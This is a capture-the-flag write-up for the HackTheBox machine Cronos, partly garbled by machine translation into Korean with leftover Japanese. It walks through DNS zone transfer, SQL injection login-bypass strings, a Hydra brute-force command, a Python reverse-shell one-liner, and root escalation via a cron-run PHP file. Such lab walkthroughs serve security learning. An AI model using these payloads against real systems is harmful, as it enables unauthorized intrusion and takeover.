【HackTheBox】Cronos - Writeup -

6799 단어 HackTheBox취약성

【HackTheBox】Cronos



Enumeration(포트 열거)


#nmap -T5 --min-rate 10000 10.10.10.13                         
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

#nmap -sV -Pn -p22,53,80 -A 10.10.10.13
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

DNS 서비스가 있으므로 자세히 알아보겠습니다.

DNS Zone Transfer란?



인터넷의 도메인명을 IP 해결하기 위해서는 DNS 서버가 사용된다.
DNS 서버에는 마스터와 슬레이브(프라이머리와 세컨더리)가 각각 있다.



보안 홀이 되는 것은 DNS 존 전송의 상대의 DNS를 지정하지 않을 때.
마스터 DNS에 있는 정보가 그대로 받아들여 버리기 때문이다.

dig 명령은 axfr 옵션으로 영역 전송 프로토콜을 지정하여 사용할 수 있습니다.
#dig axfr cronos.htb @10.10.10.13 #domain@IPADDR

; <<>> DiG 9.16.4-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 167 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sun Jul 12 16:04:02 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)

admin.cronos.htb가 있으므로 거기에 액세스 해 본다.

사용자 이름과 암호가 필요합니다.

유저 네임은 SQL 인젝션으로 고정의 것을 사용해, 패스워드는 블루와 포스 한다.
# SQLインジェクション一覧
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1-- 

그건 그렇고, 사용자 이름은 URL로 인코딩됩니다.

Hydra의 무차별 비밀번호


hydra -l(固定ユーザーネーム) -L(ユーザーネームリスト) -P(パスワードリスト) http-[get|post\|etc]-form :/入力変数=^入力値^ :失敗メッセージ
hydra -l admin' # -P /usr/share/wordlists/rockyou.txt admin.cronos.htb http-post-form "/:password=^PASS^:Login Failed" 

로그인 성공.

Nettool





BurpSuite에서 요청을 가로채고 다시 씁니다.


➜ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.13] 60420

곧 끊어 버린다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
host=上記のPythonコード&host=; 그렇다면 잘 갔다.

리버스 쉘은 여기를 참조 : h tp : /// 펜 st 몬케 y. 네 t / 치아 t-shi t / shi 〇 ls / r r r- sh l 치 ぇ t t t t
언제나 신세를지고 있습니다

사용자 정보 및 OS 확인
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ whoami
www-data
ps -ef를 실행하면 cron이 서비스로 시작되었습니다 (HTB 이름 Cronos에서 발견)
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#
php /var/www/laravel/artisan root로 때때로 실행하기 때문에
또 방금 전의 리버스 쉘(PHP)로 재기록하면, root를 취할 수 있습니다.

배운 것


  • DNS를 조사하지 않고 http 웹 사이트에서 상당히 시간을 소비해 버렸으므로, DNS가 있을 때는 반드시 DNS를 조사한다.

  • 깨달았다면, 이런 일까지 하고 있었습니다.

    SessionID secure 속성/httponly 속성 확인
    ➜  ~ curl -I http://cronos.htb
    HTTP/1.1 200 OK
    Date: Sun, 12 Jul 2020 06:32:25 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Cache-Control: no-cache, private
    Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBZRzdWUHduNnhiQzBXVUI2VjRHOEE9PSIsInZhbHVlIjoiNE1aZVlRK3dtTXlMQ0ZYcHZ0WmpPZHhvaG80NFpMUjk3OGdoM1wveWU4Q0JjazAwNStNXC9pTUtWdlhoa1JrTVg3a1RcL21od3A3ejlUY05vRlRBbzVMSGc9PSIsIm1hYyI6IjVhM2E1ZDNlZjYyODk3Y2NkY2ZjMmIwZGQ1YTZlZjMzMjdmZTU0NTE4MDliMzU1MTQ3Zjk1NDA1OWUwN2JiYjIifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/
    Set-Cookie: laravel_session=eyJpdiI6IjNhenpaQnZ5QWRYZURpQmx4TWRvNWc9PSIsInZhbHVlIjoieDdOaGhCcmlBVFRIUUxrRG9uXC9xQ0RzSWF4MjNDVDBUNWI4cmVtaUtSUHpvam1JSnJHVG9WWkJjOEx2OUM4TFUzU1lpODFSd2pRWFdcL1Ardmo0XC9kOEE9PSIsIm1hYyI6ImM5YjBkYzJkNTMyZjZkMDFhN2FhMGU1Yjg3NzVjNmJmMzk5NjE5MGY1NjEzYTM4MDRiZmU3M2I4M2EwYjc2NjcifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/; HttpOnly
    

    읽어 주신 분, 감사합니다
    질문이나 개선점이 있으면, 꼭 코멘트를 부탁합니다~

    좋은 웹페이지 즐겨찾기